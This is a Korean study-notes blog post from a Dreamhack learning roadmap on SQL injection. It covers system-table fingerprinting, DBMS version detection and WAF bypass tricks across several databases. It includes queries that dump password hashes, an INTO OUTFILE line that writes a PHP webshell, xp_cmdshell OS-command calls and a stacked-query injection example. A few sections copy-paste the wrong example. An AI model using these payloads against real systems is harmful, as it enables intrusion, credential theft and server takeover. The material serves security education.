[dreamhack roadmap] SQL Injection - 2

덩덩..·2024년 9월 15일

1. System Table Firngerprinting

ExpolitTech

  • fingerprinting : 정보 수집 과정
  • SQL injection 취약점 발생 시 DB 테이블, 컬럼... DB가 저장하고 있는 중요 정보 수집하는 방법 소개

1. System Tables

  • 설정/계정 정보 외 테이블과 컬럼 정보, 현재 실행되고 있는 쿼리 정보... 다양 정보 포함
  • SQL Injection 시 시스템 테이블 활용해 테이블, 컬럼명 확인 O
  • 공격 시 계정, 비번 알기 위해서 이 정보 포함된 테이블, 컬럼명 알아야 함

2. MySQL

MYSQL은 스키마와 데이터베이스가 같다

mysql> show databases;

mysql> select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
/*
+--------------------+
| Database,TABLE_SCHEMA|
+--------------------+
| information_schema |
| DREAMHACK          | # 이용자 정의 데이터베이스
| mysql              |
| performance_schema |
| sys                |
+--------------------+
*/

테이블, 컬럼 정보

#TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME에 해당하는 정보 조회
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
/*
+--------------------+----------------+--------------------+
| TABLE_SCHEMA       | TABLE_NAME     | COLUMN_NAME        |
+--------------------+----------------+--------------------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME |
...
| DREAMHACK          | users          | uid                |
| DREAMHACK          | users          | upw                |
...
| mysql              | db             | Db                 |
| mysql              | db             | User               |
...
+--------------------+----------------+--------------------+
3132 rows in set (0.07 sec)
*/

실시간 실행 쿼리 정보

#processlist 테이블 통해...
mysql> select * from information_schema.PROCESSLIST;
/*
+-------------------------------------------------+
| info                                            |
+-------------------------------------------------+
| select info from information_schema.PROCESSLIST |
+-------------------------------------------------+
1 row in set (0.00 sec)
*/
# SYS 데이터베이스의 session 테이블 => 실행 중인 계정과 함께 조회
mysql> select user,current_statement from sys.session;

DBMS 계정 정보

# USER_PRIVILEGES 테이블 -> GRANTEE, PRICILEGE_TYPE, IS_GRANTABLE 조회

mysql> select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
/*
PRIVILEGE_TYPE: 특정 사용자가 가진 권한의 종류를 나타냅니다.
IS_GRANTABLE: 특정 사용자가 자신의 권한을 다른 유저에게 줄 수 있는지 YES 또는 NO로 표시됩니다.
+-------------------------+-------------------------+--------------+
| GRANTEE                 | PRIVILEGE_TYPE          | IS_GRANTABLE |
+-------------------------+-------------------------+--------------+
| 'root'@'localhost'      | SELECT                  | YES          |
...
| 'root'@'localhost'      | SUPER                   | YES          |
...
| 'user_test'@'localhost' | USAGE                   | NO           |
+-------------------------+-------------------------+--------------+
58 rows in set (0.00 sec)
*/
#USER 테이블 통해 조회하는 방법
mysql> select User, authentication_string from mysql.user;
/*
authentication_string: 사용자의 비밀번호를 해싱한 값 입니다.
+------------------+-------------------------------------------+
| User             | authentication_string                     |
+------------------+-------------------------------------------+
| root             | *...                                      |
| mysql.sys        | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.session    | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| user_test        | *...                                      |
+------------------+-------------------------------------------+
4 rows in set (0.00 sec)
*/

3. MSSQL

시스템 테이블

#MSSQL 초기 서치 시 해당 데이터베이스 존재
SELECT name FROM sys.databases
/*
name
-------
master
tempdb
model
msdb
dreamhack # 이용자 정의 데이터베이스 (예시)
*/

DB 정보

# master DB의 SYSDATABASES 내 테이블 내용 중 name에 해당하는 정보 조회
SELECT name FROM master..sysdatabases;
# 해당 구조로 DB 정보 알아낼 수 있음
# 0이라면 현재 데이터베이스
SELECT DB_NAME(1);
/*
master
*/

테이블 정보

#sysobjects테이블 중 name에 해당하는 정보 조회 조건(이용자 정의 테이블)
SELECT name FROM dreamhack..sysobjects WHERE xtype = 'U';
# xtype='U' 는 이용자 정의 테이블을 의미
/*
name
-------
users
*/

#tabel_name 조회
SELECT table_name FROM dreamhack.information_schema.tables;

컬럼 정보

#테이블의 name 조회. 서브쿼리 사용해 조건(컬럼 이름이 출력됨)
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
/*
name
-----
uid
upw
*/

#column 테이블 참조해 조회
SELECT table_name, column_name FROM dreamhack.information_schema.columns;

DBMS 계정 정보

#sql_logins 테이블의 name, password_hash 조회
SELECT name, password_hash FROM master.sys.sql_logins;
/*
name		password_hash
--------------------------
sa			NULL
dreamhack	NULL
*/

#master DB의 syslogins테이블 통해 조회
SELECT * FROM master..syslogins;

4. PostgreSQL

초기 데이터 베이스

#초기 설치 시 postgres, template1, template0 데이터베이스 있음
postgres=$ select datname from pg_database;
/*
  datname  
-----------
 postgres
 template1
 template0
(3 rows)
*/

스키마 정보

# 주요 정보 담고 있는 테이블 포함 스키마 pg_catalog, information_schema 
postgres=$ select nspname from pg_catalog.pg_namespace;
/*
      nspname       
--------------------
 pg_toast
 pg_temp_1
 pg_toast_temp_1
 pg_catalog
 public
 information_schema
(6 rows)
*/

테이블 정보

#information_schema -> 각 테이블 정보 조회
#catalog의 table_name
postgres=$ select table_name from information_schema.tables where table_schema='pg_catalog';
/*
           table_name
---------------------------------
pg_shadow
pg_settings
pg_database
pg_stat_activity
...
*/

#information_schema의 table_name 정보 조회
postgres=# select table_name from information_schema.tables where table_schema='information_schema';
/*
              table_name
---------------------------------------
schemata
tables
columns
...
*/

DBMS 계정 정보

#pg_catalog.pg_shadow -> PostgreSQL 서버 계정정보 조회
#해당 쿼리 결과에는 계정 정보, 비밀번호의 해시정보 포함
postgres=$ select usename, passwd from pg_catalog.pg_shadow;

DBMS 설정 정보

#pg_catalog.pg_settings -> 서버 설정 정보 조회 가능
postgres=$ select name, setting from pg_catalog.pg_settings;

실시간 실행 쿼리 확인

#pg_catalog.pg_stat_activity -> 실시간 실행 쿼리 조회 가능
postgres=$ select usename, query from pg_catalog.pg_stat_activity;
/*
 usename  |                          query                          
----------+---------------------------------------------------------
 postgres | select usename, query from pg_catalog.pg_stat_activity;
(1 row)
*/

테이블 정보

#information_schema.tables -> DB 스키마/테이블 정보 등 조회
postgres=$ select table_schema, table_name from information_schema.tables;

컬럼 정보

#information_schema.columns테이블 -> 컬럼 정보 조회 
postgres=$ select table_schema, table_name, column_name from information_schema.columns;

5. Oracle

DB 정보

#all_talbes : 현재 사용자가 접근가능한 테이블 집합
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables

컬럼 정보

#where 구문 통해 table_name이 user인 테이블 컬럼 이름 조회
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'

DBMS 계정 정보

SELECT * FROM all_users

6. SQLite

sqlite> .header on
-- 콘솔에서 실행 시 컬럼 헤더를 출력하기 위해 설정합니다.

sqlite> open dreamhack.db
-- 데이터베이스를 연결합니다.

#sql_mast 시스템 테이블 이용
#생성된 테이블 등 정보, sql 획득O

#sqlite_master 테이블 조회한 결과 확인
sqlite> select * from sqlite_master;
/*
type|name|tbl_name|rootpage|sql
table|users|users|2|CREATE TABLE users (uid text, upw text)
*/

2. DBMS Fingerprinting

1. DBMS Fingerprinting

  • SQL Injection 취약점 발견 시 가장 먼저 DBMS 종류, 버전 알아내기

<상황 별 DBMS 수집 방법>
1. 쿼리 실행 결과 출력
DBMS에서 제공하는 환경변수, 함수 사용해 버전 확인

SELECT @@version
SELECT version()

2. 에러 메시지 출력
에러 메시지 출력해서 확인하기

select 1 union select 1, 2;
# MySQL => ERROR 1222 (21000): The used SELECT statements have a different number of columns
(select * from not_exists_table)
# SQLite => Error: no such table: not_exists_table

3. 참/거짓 출력
쿼리 실행 결과가 참,거짓 여부만 출력할 떄 Blind SQL Injection 공격으로 사용중인 DBMS 알아낼 수 있음

mid(@@version, 1, 1)='5';
substr(version(), 1, 1)='P';

쿼리에 대한 아무 결과를 출력하지 않을 때 시간 지연 함수 사용하기

sleep(10)
pg_sleep(10)

2. MySQL

1. 쿼리 실행 결과 출력
version 환경변수/함수 사용해 DBMS 버전, 운영체제 정보 알아내기

mysql> select @@version; # select version();
+-------------------------+
| @@version               |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

2. 에러 메시지 출력

### 1222에러코드 : MySQL에서 명시한 코드임을 알 수 있음
mysql> select 1 union select 1, 2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

3. 참/거짓 출력

#Blind SQLI로 한글자씩 알아내는 모습
#mid 함수 -> 환경변수의 첫번째 글자가 5인지 확인
# @@version => '5.7.29-0ubuntu0.16.04.', mid(@@version, 1, 1) => '5'
mysql> select mid(@@version, 1, 1)='5';
+------------------------+
| mid(@@version,1,1)='5' |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)
mysql> select mid(@@version, 1, 1)='6';
+------------------------+
| mid(@@version,1,1)='6' |
+------------------------+
|                      0 |
+------------------------+
1 row in set (0.00 sec)

예외 상황 -> 쿼리 실행 결과 반환하지 않을 때 sleep 함수 사용해 시간 지연 여부로 알아낼 수 있음

3. PostgreSQL

1. 쿼리 실행 결과 출력

#version 함수 사용해 DBMS 상세정보, OS 정보 알아내기
postgres=$ select version();
version
--------
 PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)

2. 에러 메시지 출력

#에러메시지 -> PostgreSQL에서 출력하는 문자열임을 알 수 있음
postgres=$ select version();
version
--------
 PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)

3. 참/거짓 출력

#substr 함수 -> version 함수로 불러온 값 첫 글자가 P인지 확인
/* version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P' */
postgres=$ select substr(version(), 1, 1)='P';
 ?column?
----------
 t    #true
(1 row)
postgres=# select substr(version(), 1, 1)='Q';
 ?column?
----------
 f
(1 row)

4. MSSQL

1. 쿼리 실행 결과 출력

> select @@version;
-----------------------------------------------------------------------------
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
	Nov 30 2018 12:57:58
	Copyright (C) 2017 Microsoft Corporation
	Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
(1 rows affected)

2. 에러 메시지 출력

> select 1 union select 1, 2;
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf

3. 참/거짓 출력

-- @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
> select 1 from test where substring(@@version, 1, 1)='M';
-----------
          1
(1 rows affected)
> select 1 from test where substring(@@version, 1, 1)='N';
-----------
(0 rows affected)

예외상황 -> 쿼리 실행 결과 반환 X -> waitfor delay 사용해 시간 지연 발생 여부로 알아내기

5. SQLite

1. 쿼리 실행 결과 출력

-- @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
> select 1 from test where substring(@@version, 1, 1)='M';
-----------
          1
(1 rows affected)
> select 1 from test where substring(@@version, 1, 1)='N';
-----------
(0 rows affected)

2. 에러 메시지 출력

sqlite> select 1 union select 1, 2;
Error: SELECTs to the left and right of UNION do not have the same number of result columns

3. 참/거짓 출력

-- sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
sqlite> select substr(sqlite_version(), 1, 1)='3';
1
sqlite> select substr(sqlite_version(), 1, 1)='4';
0

예외상황 -> 시간지연발생여부로 확인

3. DBMS Misconfiguration

DBMS 설정 항목 잘못 설정 시 발생할 수 있는 문제점

Out of DBMS

  • DBMS에서 제공하는 특별 함수/기능 이용해 파일시스템, 네트워크, OS 명령어 등에 접근

Out of DBMS : MySQL

MySQL에서 파일 작업 시 mysql권한으로 수행
my.cnf 설정파일의 secure_file_priv값에 영향 받음
secure_file_priv
-> mysql쿼리 내 load_file/outfile 이용해 파일 접근 시 접근 가능한 파일 경로 설정하는 시스템 변수

# my.cnf
[mysqld]
# secure_file_priv = ""   # 미설정. 기본 설정 값으로 설정됩니다.
secure_file_priv = "/tmp" # 해당 디렉터리 하위 경로에만 접근 가능합니다.
secure_file_priv = ""     # mysql의 권한이 가능한 모든 경로에 접근이 가능합니다.
secure_file_priv = NULL   # 기능이 비활성화 됩니다.
# 기본적으로 secure_file_priv의 값은 /var/lib/mysql-files/
mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv    |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+

load_file
인자로 전달된 파일 읽고, 출력
secure_file_priv 시스템 변수 설정되어있어야함
전달되는 파일은 전체경로 입력, 접근권한 있어야함

into outfile
SELECT ... INTO 쿼리 : 쿼리 결과를 변수/파일에 쓸 수 O
secure_file_priv 값 올바르지 않으면 임의 경로에서 파일작업 수행O -> 엡쉘 업로드 공격 가능

#SELECT INTO 이용 -> 파일 작성
SELECT ... INTO var_list             # column 값을 변수에 저장
SELECT ... INTO OUTFILE  'filename'  # 쿼리 결과의 rows 값을 파일에 저장
SELECT ... INTO DUMPFILE 'filename'  # 쿼리 결과(single row)를 파일에 저장
# 웹쉘 작성
mysql> select '<?=`$_GET[0]`?>' into outfile '/tmp/a.php';
/* <?php include $_GET['page'].'.php'; // "?page=../../../tmp/a?0=ls" */

Out of DBMS : MSSQL

xp_cmdshell 기능 -> OS 명령어 실행 O
현재는 공격 불가능

#활성화 여부 확인 value 값 1 ->활성화, 0->비활성화
SELECT name, value, description FROM sys.configurations WHERE name = 'xp_cmdshell'

#활성화된 경우 OS 명령어 실행
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

DBMS 권한 문제 주의 사항

DBMS 애플리케이션 작동 권한
서버에서 DBMS 작동 시 DBMS 전용 계정(nologin) 만들어 사용해야함

DBMS 계정 권한
루트 계정 사용 지양.
서비스/기능 별 계정 생성해 사용해야함

DBMS 문자열 비교 주의 사항

각각의 DBMS는 문자열 비교하는 방법 다름
대소문자 구분
일부 DBMS 비교연산 시 대소문자 구분 X

#mysql 대소문자 구분
mysql> select 'a'='A';
/*
+---------+
| 'a'='A' |
+---------+
|       1 |
+---------+
*/
#mssql 대소문자 구분
> select 1 from test where 'a'='A';
/*
-----------
          1
*/

공백문자로 끝나는 문자열 비교
일부 DBMS -> 할당된 칼럼 크기 맞게 공백문자 채우고 비교
공백문자 추가한 문자 안 한문자 서로 같음

# mysql 공백문자로 끝나는 문자열 비교
/* version: 5.7.42 */
mysql> select 'a'='a ';
/*
+---------+
| 'a'='a '|
+---------+
|       1 |
+---------+
*/
#MSSQL 비교
> select 1 from test where 'a'='a ';
/*
-----------
          1
*/

DBMS 다중 쿼리 주의 사항

다중쿼리 : 하나 요청에 다수 쿼리 구문 사용
대부분 웹 애플리는 DBMS에 쿼리 전송 시 다중쿼리 지원 X,
만약 지원한다면 본래 실행되는 쿼리문에 새로운 쿼리문 작성해 DB 삭제/ 값 추가.. 가능

#다중쿼리 예시
SELECT * from users where uid=''; INSERT users values (...);

4. Bypass WAF

WAF

  • Web Application Firewall
  • 웹 애플리케이션에 특화된 방화벽
  • 디도스, SQLI, log4j공격 탐지
  • 공격에 사용된 코드(주요 키워드 기반 탐지)

1. 탐지 우회

대소문자 검사 미흡 / 탐지 과정 미흡

SQL : (DB, 컬럼명 포함) 질의문 대소문자 구문 X 실행

#방화벽에서 UNION 키워드로 공격 여부 판단 시 우회
UnIoN SeLecT 1,2,3
selECT SlEep(5)

UNION, union 문자열 탐지하고 공백으로 치환 시

#우회
UNunionION SELselectECT 1,2 --
# => UNION SELECT 1,2 

문자열 검사 미흡 / 연산자 검사 미흡

reverse -> 문자열 뒤집기
concat -> 이어 붙임
16진수 사용해 임의 문자열 완성 가능

mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;

일반적 이용자는 연산자 입력X -> 방화벽에서 연산자 키워드 포함 여부 확인

# 기호 사용으로 우회
 mysql> select 1 || 1;

이외 연산자
^, =, !=, %, /, *, &, &&, |, ||, >, <,
XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL

공백 탐지

이름, 생년월일... -> 공백 필요 X

#주석 이용해 공백 검사 우회
#문자 사이 주석 : /**/
mysql> SELECT/**/'abc';
/*
+-----+
| abc |
+-----+
| abc |
+-----+
# Backtick 문자 (`)-> 공백 없이 쿼리 실행
mysql> select`username`,(password)from`users`WHERE`username`='admin';

2. MySQL 우회 기법

문자열 검사 우회 / 공백 검사 우회

#진법 이용 ab
mysql> select 0x6162, 0b110000101100010;
#함수 이용
mysql> select char(0x61, 0x62);
#가젯 이용
mysql> select mid(@@version,12,1);
# 개행 이용
mysql> select
    -> 1;
# 주석 이용
mysql> select/**/1;

주석 구문 실행

WAF : / _ / -> 주석으로 인식하고 쿼리 구문으로 해석X
MySQL : /! _ / -> 주석 내 구문 분석, 쿼리 일부로 실행
=> WAF 우회하고 실행가능

mysql> select 1 /*!union*/ select 2;

3. PostgreSQL 우회 기법

문자열 검사 우회 / 공백 검사 우회

#함수 이용한 우회
# A
postgres=> select chr(65);
# AB
postgres=> select concat(chr(65), chr(66));
#가젯 이용 우회
postgres=> select substring(version(),23,1);
#개행 이용 우회
postgres=> select
1;
#주석 이용 우회
postgres=> select/**/1;

4. MSSQL 우회 기법

문자열 검사 우회 / 공백 검사 우회

#함수 이용 우회
# a
> select char(0x61);
#ab
> select concat(char(0x61), char(0x62));
#가젯 이용 우회
> select substring(@@version,134,1);
#개행 이용 우회
> select
1;
#주석 이용 우회
> select/**/1;

5. SQLite 우회 기법

문자열 검사 우회 / 공백 검사 우회

# 함수 이용 우회
# a
sqlite> select char(0x61);
#ab
sqlite> select char(0x61)||char(0x62);
#개행 이용 우회
sqlite> select
   ...> 1;
#주석 이용 우회
sqlite> select/**/1;

구문 검사 우회

SELECT 구문 사용 못하면 원하는 값 반환X
UNION VALUES(num) -> 원하는 값 반환 O

sqlite> select 1 union values(2);

0개의 댓글